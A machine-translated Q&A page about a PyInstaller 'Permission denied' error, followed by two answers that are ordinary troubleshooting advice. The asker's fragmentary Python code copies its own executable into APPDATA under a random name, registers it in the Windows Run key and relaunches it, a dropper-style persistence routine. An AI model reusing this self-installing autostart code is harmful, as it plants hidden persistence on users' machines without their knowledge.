python Pyinstaller IOError:[Errno 13]权限被拒绝

时间:2013-11-07 04:31:25

标签: python permissions pyinstaller

py2exe工作正常,但pyinstaller会犯这个错误

ERROR:utils:[Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

Traceback (most recent call last):

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\utils", line 94, in drop_check

  File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 88, in copy

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 53, in copyfile


IOError: [Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

这是我的代码

    import os
import sys
from time import sleep
import random
import subprocess
import zipfile

from config import APPDATA

import shutil

import win32api, win32con
import _winreg
import logging





def register_startup(filename):
    try:
        key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, _winreg.KEY_ALL_ACCESS)
        _winreg.SetValueEx(key, "KSSync",0, _winreg.REG_SZ, filename)
        return True
    except Exception, e:
        return False



            if not os.path.exists(APPDATA):
                os.makedirs(APPDATA)
            dest = os.path.join(APPDATA, "strong_%s.exe" % str(random.randrange(1000,9999)) )

            logger.debug("Copying %s to %s" % (sys.executable, dest) )
            shutil.copy(sys.executable, dest)
            logger.info("Installed %s to %s" % (sys.executable, dest))
            register_startup(dest)
            subprocess.Popen([dest, '--patience'])
            sys.exit(1)
            return True
            except Exception, e:
            logger.exception(e)
            return False

在启动时注册文件的调用这两个函数产生错误  register_startup(DEST)   subprocess.Popen([dest,' - patient'])

是文件存在 C:\ Documents and Settings \ Administrator \ Application Data \ khan \ controll123.exe

似乎双背腰带是REASON?

2 个答案:

答案 0 :(得分:0)

刚才遇到这个问题,
通过使用管理员模式运行cmd来解决此问题。

答案 1 :(得分:0)

我在使用 pyinstaller 时遇到了类似的问题,即使以管理员身份运行 cmd 也不起作用(个人笔记本电脑)。对我来说什么工作是:

  1. 检查当前用户是否有权访问 C:\Program Files\WindowsApps(不应该)
  2. 按照以下步骤操作:https://superuser.com/questions/498774/how-to-get-access-to-c-program-files-windowsapps(由 Matthew Wong 回答)添加 whoami
  3. 我重新启动了我的笔记本电脑,在管理员模式下启动 cmd,cd 到正确的目录,并且能够让 pyinstaller --onefile 工作